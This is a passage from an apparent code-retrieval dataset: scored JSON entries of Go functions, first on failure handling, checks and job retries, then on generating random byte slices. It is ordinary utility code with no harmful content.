res.RowsAffected()\n\tif my, bad := Check(err, \"rows affected failure\"); bad {\n\t\treturn my\n\t}\n\tif aff < 1 {\n\t\tmy, _ := Check(fmt.Errorf(\"rows affected inadequate\"), \"exec rows affected failure\", \"affected\", aff)\n\t\treturn my\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "aea4db97289de117f7911f4deebbec36", "score": "0.44922268", "text": "func (s *AddLFTagsToResourceOutput) SetFailures(v []*LFTagError) *AddLFTagsToResourceOutput {\n\ts.Failures = v\n\treturn s\n}", "title": "" }, { "docid": "bd0791cf54be64177a96eab205a4311c", "score": "0.44826928", "text": "func (s *BoltStateDB) PutCheckResult(allocID string, qr *structs.CheckQueryResult) error {\n\treturn s.db.Update(func(tx *boltdd.Tx) error {\n\t\tbkt, err := tx.CreateBucketIfNotExists(checkResultsBucket)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tkey := keyForCheck(allocID, qr.ID)\n\t\treturn bkt.Put(key, qr)\n\t})\n}", "title": "" }, { "docid": "c4cc86386cd7fb61939b24ee758de7af", "score": "0.4477283", "text": "func (xc *CommonExchange) setLastFail(t time.Time) {\n\txc.mtx.Lock()\n\tdefer xc.mtx.Unlock()\n\txc.lastFail = t\n}", "title": "" }, { "docid": "92ba670924c9967b2c35487a6c8bc5a5", "score": "0.4473566", "text": "func (flow *Workflow) OnFailure(handler sdk.PipelineErrorHandler) {\n\tflow.pipeline.FailureHandler = handler\n}", "title": "" }, { "docid": "9a4628879948dfcf113cd07e81247508", "score": "0.44696495", "text": "func executeCheckWithTimeout(ctx context.Context, check Check) CheckStatus {\n\ttimeoutCtx, cancelTimeout := context.WithTimeout(ctx, check.Timeout)\n\tdefer cancelTimeout()\n\n\treturn executeCheck(timeoutCtx, check)\n}", "title": "" }, { "docid": "f49eb483a889edd886a2b40164997b55", "score": "0.44661316", "text": "func (client *ClientImpl) CreateFailureType(ctx context.Context, args CreateFailureTypeArgs) (*test.TestFailureType, error) {\n\tif args.TestResultFailureType == nil {\n\t\treturn nil, &azuredevops.ArgumentNilError{ArgumentName: \"args.TestResultFailureType\"}\n\t}\n\trouteValues := make(map[string]string)\n\tif args.Project == nil || *args.Project == \"\" {\n\t\treturn nil, &azuredevops.ArgumentNilOrEmptyError{ArgumentName: \"args.Project\"}\n\t}\n\trouteValues[\"project\"] = *args.Project\n\n\tbody, marshalErr := json.Marshal(*args.TestResultFailureType)\n\tif marshalErr != nil {\n\t\treturn nil, marshalErr\n\t}\n\tlocationId, _ := uuid.Parse(\"c4ac0486-830c-4a2a-9ef9-e8a1791a70fd\")\n\tresp, err := client.Client.Send(ctx, http.MethodPost, locationId, \"7.1-preview.1\", routeValues, nil, bytes.NewReader(body), \"application/json\", \"application/json\", nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar responseValue test.TestFailureType\n\terr = client.Client.UnmarshalBody(resp, &responseValue)\n\treturn &responseValue, err\n}", "title": "" }, { "docid": "2645cb58b1e3cb6fd0080d932ddd0562", "score": "0.4463694", "text": "func addToValidationTableInfo(ctx context.Context, args *map[string]interface{}) error {\n\twa, ok := (*args)[\"workerArgs\"].(workerArgs)\n\tif !ok {\n\t\tlog.Warnf(\"unable to cast arguments to type workerArgs\")\n\t\tresult := Result{\n\t\t\tURL: \"unknown\",\n\t\t}\n\t\twa.result <- result\n\t\treturn nil\n\t}\n\n\tselectHistory := `SELECT validation_result_id FROM fhir_endpoints_info_history\n\t\tWHERE url = $1\n\t\tORDER BY entered_at DESC\n\t\tLIMIT 1;`\n\tvalResRow := wa.store.DB.QueryRowContext(ctx, selectHistory, wa.fhirURL)\n\tvalResID := 0\n\terr := valResRow.Scan(&valResID)\n\tif err != nil {\n\t\tlog.Warnf(\"Failed to get the validation_result_id. Error: %s\", err)\n\t\treturn returnResult(wa)\n\t}\n\t_, err = updateInfoValResStatement.ExecContext(ctx, valResID, wa.fhirURL)\n\tif err != nil {\n\t\tlog.Warnf(\"Error while updating the row of fhir_endpoints_info table for URL %s. Error: %s\", wa.fhirURL, err)\n\t}\n\treturn returnResult(wa)\n}", "title": "" }, { "docid": "0b7c7d9b4cc1826f7f26a762eaf5796c", "score": "0.4461273", "text": "func UntilFailure(params core.Params, child core.Node) core.Node {\n\tbase := core.NewDecorator(\"UntilFailure\", params, child)\n\treturn &untilFailure{Decorator: base}\n}", "title": "" }, { "docid": "4d12a8c88d42541d21b06550d33522a4", "score": "0.44569373", "text": "func TestRunPlanActionCheckFails(t *testing.T) {\n\tassert := assert.New(t)\n\n\tsetup := plan.Setup{} // mocked actions and checks won't be accessing the setup.\n\n\taction1 := &mockAction{checkErr: plan.CheckFailf(\"action check failed\")}\n\taction2 := &mockAction{}\n\n\tp := &plan.Plan{\n\t\tActions: []plan.ActionSet{{\n\t\t\tPaths: []string{\"somepath\"},\n\t\t\tActions: []plan.Action{\n\t\t\t\taction1,\n\t\t\t\taction2,\n\t\t\t},\n\t\t}},\n\t}\n\terr := p.Execute(setup)\n\tassert.Nil(err)\n\n\tassert.Equal(\"\", action1.calledWith) // First action was not run.\n\tassert.Equal(\"somepath\", action2.calledWith) // Second action was run.\n}", "title": "" }, { "docid": "ce0814d30acf40bf965fd4cafe667895", "score": "0.4455628", "text": "func extractFailureFromJUnitXML(contents []byte) ([]string, []status, map[string]string, error) {\n\ttype Failure struct {\n\t\tMessage string `xml:\"message,attr\"`\n\t}\n\ttype Error struct {\n\t\tMessage string `xml:\"message,attr\"`\n\t}\n\ttype TestCase struct {\n\t\tName string `xml:\"name,attr\"`\n\t\tClassName string `xml:\"classname,attr\"`\n\t\tFailure Failure `xml:\"failure,omitempty\"`\n\t\tError Error `xml:\"error,omitempty\"`\n\t\tSkipped *struct{} `xml:\"skipped,omitempty\"`\n\t}\n\ttype TestSuite struct {\n\t\tXMLName xml.Name `xml:\"testsuite\"`\n\t\tTestCases []TestCase `xml:\"testcase\"`\n\t}\n\ttype TestSuites struct {\n\t\tXMLName xml.Name `xml:\"testsuites\"`\n\t\tTestSuites []TestSuite `xml:\"testsuite\"`\n\t}\n\n\tvar testSuite TestSuite\n\t_ = testSuite.XMLName\n\tvar testSuites TestSuites\n\t_ = testSuites.XMLName\n\n\tvar tests []string\n\tvar testStatuses []status\n\tvar failedTestToIssue = make(map[string]string)\n\tprocessTestSuite := func(testSuite TestSuite) {\n\t\tfor _, testCase := range testSuite.TestCases {\n\t\t\ttestName := fmt.Sprintf(\"%s.%s\", testCase.ClassName, testCase.Name)\n\t\t\ttestPassed := len(testCase.Failure.Message) == 0 && len(testCase.Error.Message) == 0\n\t\t\ttests = append(tests, testName)\n\t\t\tif testCase.Skipped != nil {\n\t\t\t\ttestStatuses = append(testStatuses, statusSkip)\n\t\t\t} else if testPassed {\n\t\t\t\ttestStatuses = append(testStatuses, statusPass)\n\t\t\t} else {\n\t\t\t\ttestStatuses = append(testStatuses, statusFail)\n\t\t\t\tmessage := testCase.Failure.Message\n\t\t\t\tif len(message) == 0 {\n\t\t\t\t\tmessage = testCase.Error.Message\n\t\t\t\t}\n\n\t\t\t\tissue := \"unknown\"\n\t\t\t\tmatch := issueRegexp.FindStringSubmatch(message)\n\t\t\t\tif match != nil {\n\t\t\t\t\tissue = match[1]\n\t\t\t\t}\n\t\t\t\tfailedTestToIssue[testName] = issue\n\t\t\t}\n\t\t}\n\t}\n\n\t// First, we try to parse the XML with an assumption that there are multiple\n\t// test suites in contents.\n\tif err := xml.Unmarshal(contents, &testSuites); err == nil {\n\t\t// The parsing was successful, so we process each test suite.\n\t\tfor _, testSuite := range testSuites.TestSuites {\n\t\t\tprocessTestSuite(testSuite)\n\t\t}\n\t} else {\n\t\t// The parsing wasn't successful, so now we try to parse the XML with an\n\t\t// assumption that there is a single test suite.\n\t\tif err := xml.Unmarshal(contents, &testSuite); err != nil {\n\t\t\treturn nil, nil, nil, err\n\t\t}\n\t\tprocessTestSuite(testSuite)\n\t}\n\n\treturn tests, testStatuses, failedTestToIssue, nil\n}", "title": "" }, { "docid": "0a27a909ece66ed286ca6d773c4ef5cf", "score": "0.44495204", "text": "func AddFailureRetryWrapper(config *rest.Config, failureRetryCount int, failureRetryPeriodSeconds int) *rest.Config {\n\twrap := config.WrapTransport\n\tconfig.WrapTransport = func(rt http.RoundTripper) http.RoundTripper {\n\t\tif wrap != nil {\n\t\t\trt = wrap(rt)\n\t\t}\n\t\treturn &failureRetryRoundTripper{\n\t\t\troundTripper: rt,\n\t\t\tfailureRetryCount: failureRetryCount,\n\t\t\tfailureRetryPeriodMilliSeconds: failureRetryPeriodSeconds,\n\t\t}\n\t}\n\treturn config\n}", "title": "" }, { "docid": "5be866c645222b61b272d878e2294c22", "score": "0.44490492", "text": "func RunTaskFailureTriggers(taskId string) error {\n\tt, err := task.FindOne(task.ById(taskId))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif t == nil {\n\t\treturn errors.Errorf(\"could not find task for %s\", taskId)\n\t}\n\n\tif t.Aborted {\n\t\t// don't send failure alerts for tasks that were aborted.\n\t\treturn nil\n\t}\n\n\tctx, err := getTaskTriggerContext(t)\n\tif err != nil {\n\t\treturn err\n\t}\n\tactiveTriggers, err := getActiveTaskFailureTriggers(*ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor _, trigger := range activeTriggers {\n\t\treq := &alert.AlertRequest{\n\t\t\tId: bson.NewObjectId(),\n\t\t\tTrigger: trigger.Id(),\n\t\t\tTaskId: t.Id,\n\t\t\tHostId: t.HostId,\n\t\t\tExecution: t.Execution,\n\t\t\tBuildId: t.BuildId,\n\t\t\tVersionId: t.Version,\n\t\t\tProjectId: t.Project,\n\t\t\tPatchId: \"\",\n\t\t\tCreatedAt: time.Now(),\n\t\t}\n\n\t\tif err = alert.EnqueueAlertRequest(req); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif err = storeTriggerBookkeeping(*ctx, []Trigger{trigger}); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "610b9107d4091fc7bfec912a74a313a5", "score": "0.44478238", "text": "func AddCheck(ns string) string {\n\trawCs, _ := checkSum(ns + \"0\")\n\tcorrectCs := (10 - rawCs) % 10\n\treturn ns + strconv.Itoa(correctCs)\n}", "title": "" }, { "docid": "5f1c6082b64b93c757b6629262f4ca5f", "score": "0.44471368", "text": "func (v *Validation) HasFailure() bool {\n\treturn v.FailedCount > 0\n}", "title": "" }, { "docid": "a8b39ef0e0065939bc552c281bf19908", "score": "0.44373867", "text": "func (s *AttestService) setFailure(err error) bool {\n\tif err != nil {\n\t\ts.errorState = err\n\t\ts.state = AStateError\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "7f493d343723a6a34f0b12031d5a977d", "score": "0.44245046", "text": "func TestRunPlanPreCheckFail(t *testing.T) {\n\tassert := assert.New(t)\n\n\tsetup := plan.Setup{} // mocked actions and checks won't be accessing the setup.\n\n\tpreCheck := &mockCheck{returnErr: plan.CheckFailf(\"check failed\")}\n\taction1 := &mockAction{}\n\taction2 := &mockAction{}\n\n\tp := &plan.Plan{\n\t\tChecks: []plan.Check{preCheck},\n\t\tActions: []plan.ActionSet{{\n\t\t\tPaths: []string{\"somepath\"},\n\t\t\tActions: []plan.Action{\n\t\t\t\taction1,\n\t\t\t\taction2,\n\t\t\t},\n\t\t}},\n\t}\n\terr := p.Execute(setup)\n\tassert.EqualError(err, \"failed check: check failed\")\n\n\tassert.Equal(\"\", preCheck.calledWith)\n\t// None of the actions were executed.\n\tassert.Equal(\"\", action1.calledWith)\n\tassert.Equal(\"\", action2.calledWith)\n}", "title": "" }, { "docid": "19850d3970b76ec155f078727a002cbf", "score": "0.4418153", "text": "func (a Action) Failure(err error) {\n\tfmt.Println(\"Action Failure Called - \", err.Error())\n\tif a.FailureCallback != nil {\n\t\ta.FailureCallback(err)\n\t}\n}", "title": "" }, { "docid": "2207bc4a0890aeab337969655e1cec77", "score": "0.44124293", "text": "func (c *Counts) OnFailure() {\n\tc.TotalFailures++\n\tc.ConsecutiveFailures++\n\tc.ConsecutiveSuccesses = 0\n}", "title": "" }, { "docid": "8c5767f96975e4854a16eda8d6cd9b23", "score": "0.4402703", "text": "func (m *SynchronizationStatus) SetLastSuccessfulExecution(value SynchronizationTaskExecutionable)() {\n err := m.GetBackingStore().Set(\"lastSuccessfulExecution\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "027cdbd20eae46f5d8834e636a21ad92", "score": "0.43913928", "text": "func (j *Job) Fail(errStr string) {\n\trunCount := j.RunCount + 1\n\n\tif runCount >= jobConfig.MaxRetryCount {\n\t\tstmt, err := db.Prepare(`UPDATE \"job\" SET status = 2, run_count = $2, elapsed = $3, last_error = $4 WHERE id = $1 RETURNING pg_advisory_unlock($1)`)\n\t\tif err != nil {\n\t\t\tlog.Print(err)\n\t\t\treturn\n\t\t}\n\n\t\t_, err = stmt.Exec(j.ID, runCount, j.Elapsed, errStr)\n\t\tif err != nil {\n\t\t\tlog.Print(err)\n\t\t\treturn\n\t\t}\n\t\tj.Status = 2\n\t} else {\n\t\tdelay := runCount*runCount*runCount*runCount + j.Timeout + j.RetryDelay + 15\n\t\tstmt, err := db.Prepare(`UPDATE \"job\" SET run_count = $2, retry_delay = $3, run_after = $4, elapsed = $5, last_error = $6, grabbed = null WHERE id = $1 RETURNING pg_advisory_unlock($1)`)\n\t\tif err != nil {\n\t\t\tlog.Print(err)\n\t\t\treturn\n\t\t}\n\n\t\t_, err = stmt.Exec(\n\t\t\tj.ID,\n\t\t\trunCount,\n\t\t\tdelay,\n\t\t\tj.RunAfter.Add(time.Duration(delay)*time.Second),\n\t\t\tj.Elapsed,\n\t\t\terrStr,\n\t\t)\n\t\tif err != nil {\n\t\t\tlog.Print(err)\n\t\t\treturn\n\t\t}\n\t\tj.RetryDelay = delay\n\t\tj.RunAfter = j.RunAfter.Add(time.Duration(delay) * time.Second)\n\t}\n\tj.RunCount++\n\tlog.Printf(\"Failed job id: %d, name: %s, payload: %s\", j.ID, j.Name, j.Payload)\n}", "title": "" }, { "docid": "c734065c66e11979cfb08137959ae44d", "score": "0.43842897", "text": "func (s *GenericAPIServer) addHealthChecks(livezGracePeriod time.Duration, checks ...healthz.HealthChecker) error {\n\ts.healthzLock.Lock()\n\tdefer s.healthzLock.Unlock()\n\tif s.healthzChecksInstalled {\n\t\treturn fmt.Errorf(\"unable to add because the healthz endpoint has already been created\")\n\t}\n\ts.healthzChecks = append(s.healthzChecks, checks...)\n\tif err := s.AddLivezChecks(livezGracePeriod, checks...); err != nil {\n\t\treturn err\n\t}\n\treturn s.AddReadyzChecks(checks...)\n}", "title": "" } ]
25aa5aeb100e8a8c6211cf4aedff587e
Generate a random byte slice. This method is implemented for use in quick tests. See for more information.
[ { "docid": "6173c2958bb4c3cf0a3472b00628b440", "score": "0.5958404", "text": "func (Bytes) Generate(r *rand.Rand, size int) reflect.Value {\n\tdata := make([]byte, size)\n\tif _, err := r.Read(data); err != nil {\n\t\tpanic(err)\n\t}\n\treturn reflect.ValueOf(Bytes(data))\n}", "title": "" } ]
[ { "docid": "b1ebd9da6926cbfc644144106d082794", "score": "0.7912751", "text": "func RandomByteSlice(n int, rng Rand) []byte {\n\tbuf := make([]byte, n)\n\tFillRandomByteSlice(buf, rng)\n\treturn buf\n}", "title": "" }, { "docid": "78e8c5ceb5d678d6ba9664a186c355dc", "score": "0.7779519", "text": "func GenerateByteSlice(n int) ([]byte, error) {\n\tb := make([]byte, n)\n\t_, err := rand.Read(b)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn b, nil\n}", "title": "" }, { "docid": "ecf88fc65c3b88648c33c5bca1903ac6", "score": "0.7698297", "text": "func FactoryRandomByteSlice() []byte {\n\treturn []byte(FactoryRandomString())\n}", "title": "" }, { "docid": "6144d5d77afaed3ab0243e2a5cd74aca", "score": "0.74136597", "text": "func RandomSlice(t *testing.T, size uint32) []byte {\n\trandSlice := make([]byte, size)\n\t_, err := rand.Read(randSlice)\n\tassert.Nil(t, err)\n\treturn randSlice\n}", "title": "" }, { "docid": "69bfeaa73bc0b3fa77c2a88ccba962e0", "score": "0.72550213", "text": "func randomBytes(len int) []byte {\n\tarr := make([]byte, len)\n\t_, err := rand.Read(arr)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\treturn arr\n}", "title": "" }, { "docid": "69351c7c4de821e6c9cca0214c5ca368", "score": "0.72272336", "text": "func randByteSlice(n, u int) [][]byte {\n\ts := make([][]byte, n)\n\tfor i := 0; i < n; i++ {\n\t\ts[i] = randBytes(u)\n\t}\n\treturn s\n}", "title": "" }, { "docid": "81a894ad81de106b3bd6b12f3fbda20d", "score": "0.7216665", "text": "func RandBytes(len int) []byte {\n\tdata, _ := RandomBytes(len)\n\treturn data\n}", "title": "" }, { "docid": "0a8d4b1dae2ccee5c9986d02ae2b287a", "score": "0.71615237", "text": "func Random(byteLength int) []byte {\n\tb := make([]byte, byteLength)\n\t_, err := io.ReadFull(RandReader, b)\n\tif err != nil {\n\t\tpanic(fmt.Sprintf(\"error reading random bytes: %s\", err))\n\t}\n\treturn b\n}", "title": "" }, { "docid": "d2b5f92480cdd5132b0ea1637ac1f9e7", "score": "0.71291894", "text": "func randbytes(n int) []byte {\n b := make([]byte, n)\n _, err := rand.Read(b)\n if err != nil {\n fmt.Println(\"Error:\", err)\n }\n return b\n}", "title": "" }, { "docid": "ca0b34649ae206af7e327f7e4408ed6b", "score": "0.7098307", "text": "func randBytes(size int) []byte {\n\toutput := make([]byte, size)\n\t_, err := random.Read(output)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn output\n}", "title": "" }, { "docid": "762050770ea01f56e32fd589014e4479", "score": "0.70179284", "text": "func randBytes(length int) []byte {\n\tvar b []byte\n\tfor i := 0; i < length; i++ {\n\t\tb = append(b, byte(rand.Intn(256)))\n\t}\n\treturn b\n}", "title": "" }, { "docid": "79b432ee19bd643fa70c33a483780879", "score": "0.7002171", "text": "func randomBytes(length int) []byte {\n\tbytes := make([]byte, length)\n\tfor i := 0; i < length; i++ {\n\t\t// Generate a byte between 0 and z\n\t\tbytes[i] = byte('0' + mathrand.Intn('z'-'0'))\n\t}\n\treturn bytes\n}", "title": "" }, { "docid": "acac51676926717be5a76ed73a1328e6", "score": "0.69920176", "text": "func RandBytes(r *rand.Rand, size int) []byte {\n\tif size <= 0 {\n\t\treturn nil\n\t}\n\n\tarr := make([]byte, size)\n\tfor i := 0; i < len(arr); i++ {\n\t\tarr[i] = randLetters[r.Intn(len(randLetters))]\n\t}\n\treturn arr\n}", "title": "" }, { "docid": "194a7431c112efe5f8643e2436be0776", "score": "0.6938109", "text": "func randBytes(b *testing.B, size int) []byte {\n\trandp := make([]byte, size)\n\t_, err := io.ReadFull(rand.Reader, randp)\n\tif err != nil {\n\t\tb.Fatal(err)\n\t}\n\treturn randp\n}", "title": "" }, { "docid": "642d5f9379e968ea7fe5af530691c005", "score": "0.68401307", "text": "func RandomBytes(numBytes int32) []byte {\n\tbuf := make([]byte, numBytes)\n\tsrc := rand.NewSource(time.Now().UnixNano())\n\tvar offset int32\n\tfor {\n\t\tval := int64(src.Int63())\n\t\tfor i := 0; i < 8; i++ {\n\t\t\tif offset >= numBytes {\n\t\t\t\treturn buf\n\t\t\t}\n\t\t\tbuf[offset] = byte(val)\n\t\t\toffset++\n\t\t\tval >>= 8\n\t\t}\n\t}\n}", "title": "" }, { "docid": "7ee39c8015d03b6003d5129236e4b8e0", "score": "0.68095285", "text": "func RandomBytes(len int) ([]byte, error) {\n\tdata := make([]byte, len)\n\tif _, err := io.ReadFull(rand.Reader, data); err != nil {\n\t\tlog.Printf(\"Generate random bytes failed: %v\", err)\n\t\treturn nil, err\n\t}\n\treturn data, nil\n}", "title": "" }, { "docid": "5d053fba98278dcabdd4cf291cf5156f", "score": "0.6807443", "text": "func RandomBytes(r *rand.Rand, size int) []byte {\n\tbuf := make([]byte, size)\n\t_, _ = r.Read(buf)\n\treturn buf\n}", "title": "" }, { "docid": "c6f33628de0f38c030f67647b36fe750", "score": "0.680169", "text": "func randBytes(size int) ([]byte, error) {\n\tb := make([]byte, size)\n\t_, err := rand.Read(b)\n\treturn b, err\n}", "title": "" }, { "docid": "d8fe19faa379eb8cc2462ca2448db959", "score": "0.6782436", "text": "func generateBytesData(size int) []byte {\n\t// repeat the random character chosen size\n\treturn bytes.Repeat(getRandomByte(), size)\n}", "title": "" }, { "docid": "d8fe19faa379eb8cc2462ca2448db959", "score": "0.6782436", "text": "func generateBytesData(size int) []byte {\n\t// repeat the random character chosen size\n\treturn bytes.Repeat(getRandomByte(), size)\n}", "title": "" }, { "docid": "dbd8970fbf7dce4fb18fbc2259b98a32", "score": "0.6774718", "text": "func Random(size int) (b []byte, err error) {\n\tseed := time.Now().Unix()\n\tsrc := rand.NewSource(seed)\n\trng := rand.New(src)\n\tb = make([]byte, 0)\n\tfor i := 0; i < size; i++ {\n\t\tb = append(b, byte(rng.Intn(255)))\n\t}\n\treturn\n}", "title": "" }, { "docid": "d067e40e9f24c70bdcfe6d0d615bab14", "score": "0.676953", "text": "func RandBytes(size uint) []byte {\n\tx := make([]byte, size, size)\n\tfor i := 0; i < len(x); i++ {\n\t\tx[i] = byte(rand.Uint32())\n\t}\n\treturn x\n}", "title": "" }, { "docid": "eab76201461fc9c3507bbecc29a1ae40", "score": "0.6768466", "text": "func GetRandBytes(n int) []byte {\n\tbuf := make([]byte, n)\n\tFillRandom(buf)\n\n\treturn buf\n}", "title": "" }, { "docid": "bd8a0bb1aa5feff44aa9af9988b7a7e4", "score": "0.6757038", "text": "func RandomBytes(nb int) []byte {\n\tb := make([]byte, nb)\n\trand.Read(b)\n\treturn b\n}", "title": "" }, { "docid": "a15c7531806c5f966f6853084a136496", "score": "0.6756357", "text": "func GenRandomBytes(size int) ([]byte, error) {\n\tif size < 1 {\n\t\treturn nil, ErrEmptySlice\n\t}\n\trandomByte := make([]byte, size)\n\t_, err := rand.Read(randomByte)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn randomByte, nil\n}", "title": "" }, { "docid": "24e0b99e8c085bc9450a3a0e484215f3", "score": "0.671138", "text": "func randBytes(rng *rand.Rand, n int) []byte {\n\tb := make([]byte, n)\n\tfor i := range b {\n\t\tb[i] = byte(rng.Intn(256))\n\t}\n\treturn b\n}", "title": "" }, { "docid": "19ecbeef38b92ca2937cf5121af2e965", "score": "0.6688525", "text": "func RandomBytes(length int) []byte {\n\tb := make([]byte, length)\n\tif _, err := rand.Read(b); err != nil {\n\t\treturn nil\n\t}\n\n\treturn b\n}", "title": "" }, { "docid": "acc9cb78719701cdbb27facf64538947", "score": "0.66809833", "text": "func GetRandomBytes(l int) []byte {\n\tb := make([]byte, l)\n\t_, err := rand.Read(b)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\treturn b\n}", "title": "" }, { "docid": "10d6490d7beee4eb9ebebd821a721d6a", "score": "0.6663702", "text": "func RandBytes(size uint) ([]byte, error) {\n\tvar (\n\t\tbuff []byte = make([]byte, size) // rand byte buffer\n\t\terr error\n\t)\n\t_, err = rand.Read(buff)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn buff, nil\n}", "title": "" }, { "docid": "833bc0a808b3cde33d7202f3f93bfe1e", "score": "0.6654373", "text": "func RandBytes(p []byte) {\n\trand.New(rand.NewSource(rand.Int63())).Read(p)\n}", "title": "" }, { "docid": "547a085c7d96cb102f12b6fb655f7c7f", "score": "0.66507024", "text": "func generateRandomBytes(n int) ([]byte, error) {\n\tb := make([]byte, n)\n\t_, err := rand.Read(b)\n\t// err == nil only if len(b) == n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn b, nil\n\n}", "title": "" }, { "docid": "8f927a2f9d1d8b36ced9d09582e8e146", "score": "0.66286683", "text": "func generateRandomBytes(n int) ([]byte, error) {\n\tb := make([]byte, n)\n\t_, err := rand.Read(b)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn b, nil\n}", "title": "" }, { "docid": "ffea406eab135eb6a1bbc46f309edd26", "score": "0.66274446", "text": "func Random(byteCount int) ([]byte, error) {\n\tdata := make([]byte, byteCount)\n\n\tif _, err := rand.Read(data); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn data, nil\n}", "title": "" }, { "docid": "a4ddb79a7f29051da7967ecf2f5d3e74", "score": "0.6622291", "text": "func generateRandomBytes(n int) ([]byte, error) {\n\tb := make([]byte, n)\n\t_, err := rand.Read(b)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn b, nil\n}", "title": "" }, { "docid": "02d688bc00e1eb2ac155cda9b6eb236b", "score": "0.66189235", "text": "func GetRandomBytes(len int) ([]byte, error) {\n\tkey := make([]byte, len)\n\n\t_, err := rand.Read(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn key, nil\n}", "title": "" }, { "docid": "02d688bc00e1eb2ac155cda9b6eb236b", "score": "0.66189235", "text": "func GetRandomBytes(len int) ([]byte, error) {\n\tkey := make([]byte, len)\n\n\t_, err := rand.Read(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn key, nil\n}", "title": "" }, { "docid": "5e9753beea63d42498e1dc8536143779", "score": "0.66161805", "text": "func GetRandomBytes(len int) ([]byte, error) {\n\tkey := make([]byte, len)\n\n\t// TODO: rand could fill less bytes then len\n\t_, err := rand.Read(key)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"error getting random bytes\")\n\t}\n\n\treturn key, nil\n}", "title": "" }, { "docid": "7e509c79b28458601d54d08bca63b469", "score": "0.660879", "text": "func FillRandomByteSlice(buf []byte, rng Rand) {\n\tfor i := range buf {\n\t\tbuf[i] = byte(rng.Intn(256))\n\t}\n}", "title": "" }, { "docid": "7ac24b350950eecc48314b58ea2422bf", "score": "0.66068786", "text": "func GenerateRandomBytes(length int) ([]byte, error) {\n\tbytes := make([]byte, length)\n\t_, err := rand.Read(bytes)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn bytes, nil\n}", "title": "" }, { "docid": "52dd49de1124f65e325b1923ff918e42", "score": "0.65884596", "text": "func FactoryRandomFixedLengthByteSlice(length int, charset string) []byte {\n\treturn []byte(FactoryRandomFixedLengthString(length, charset))\n}", "title": "" }, { "docid": "c8facefdd10c368a5af2dd160b82d6e9", "score": "0.6567882", "text": "func getRandomBytes(n int) []byte {\n\tbytes := make([]byte, n)\n\t_, err := io.ReadFull(rand.Reader, bytes)\n\tcheckFatalError(err, \"unable to get random bytes\")\n\treturn bytes\n}", "title": "" }, { "docid": "6daf73c202ae1580a45ed58dd828d4a7", "score": "0.65489745", "text": "func generateRandomBytes(n int) ([]byte, error) {\n\tb := make([]byte, n)\n\t_, err := rand.Read(b)\n\t// Note that err == nil only if we read len(b) bytes.\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn b, nil\n}", "title": "" }, { "docid": "8e71404b57d47351b6c130acb7ea3eb1", "score": "0.6543066", "text": "func GenerateRandomBytes(n int) []byte {\n\tb := make([]byte, n)\n\tfor i := range b {\n\t\tb[i] = characterBytes[rand.Intn(len(characterBytes))]\n\t}\n\treturn b\n}", "title": "" }, { "docid": "31434824099a422ffdf7412f4f91db65", "score": "0.6519785", "text": "func RandomBytes(size int) []byte {\n\tvar letters = []byte(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\")\n\n\tb := make([]byte, size)\n\tfor i := range b {\n\t\tb[i] = letters[rand.Int63()%int64(len(letters))]\n\t}\n\n\treturn b\n}", "title": "" }, { "docid": "aaba80b00c717369aff0c7638efe5b67", "score": "0.6500296", "text": "func GenerateRandomBytes(n int) []byte {\n\tb := make([]byte, n)\n\tif _, err := io.ReadFull(rand.Reader, b); err != nil {\n\t\tpanic(err)\n\t}\n\treturn b\n}", "title": "" }, { "docid": "5d31e67378966a31e48f81e2f3297376", "score": "0.6496231", "text": "func RandomBuf(size int) ([]byte, error) {\n\tbuf := make([]byte, size)\n\trand.Seed(time.Now().UTC().UnixNano())\n\tmin, max := 30, 127\n\tfor i := 0; i < size; i++ {\n\t\tbuf[i] = byte(min + rand.Intn(max-min))\n\t}\n\treturn buf, nil\n}", "title": "" }, { "docid": "e7cdc0e0cffce63c950a9a1a69f4718f", "score": "0.64907444", "text": "func RandomBytes(n int) ([]byte, error) {\n\tbytes := make([]byte, n)\n\tif _, err := io.ReadFull(rand.Reader, bytes); err != nil {\n\t\treturn []byte{}, err\n\t}\n\treturn bytes, nil\n}", "title": "" }, { "docid": "7ffb28559266374eaf5e01901f17f0d2", "score": "0.6480883", "text": "func gen(len int) []byte {\n\tkey := make([]byte, len)\n\trand.Read(key)\n\treturn key\n}", "title": "" }, { "docid": "7ffb28559266374eaf5e01901f17f0d2", "score": "0.6480883", "text": "func gen(len int) []byte {\n\tkey := make([]byte, len)\n\trand.Read(key)\n\treturn key\n}", "title": "" }, { "docid": "d48fe5b8cd2f4f712d3820f0c46501a1", "score": "0.6478769", "text": "func GenerateRandomBytes(length int) ([]byte, error) {\n\trand.Seed(time.Now().UnixNano())\n\n\tvalue := make([]byte, length)\n\n\tlen, err := rand.Read(value)\n\tif err != nil {\n\t\treturn []byte{}, err\n\t}\n\tif len != length {\n\t\treturn []byte{}, fmt.Errorf(\"failed to generate the correct number of bytes\")\n\t}\n\n\treturn value, nil\n}", "title": "" }, { "docid": "52638eb310d7c7a8aaa14ff72e6a6de6", "score": "0.64749736", "text": "func RandBytes(n int) ([]byte, error) {\n\tmrand.Seed(time.Now().UnixNano())\n\ttoken := make([]byte, n)\n\t// Always returns nil 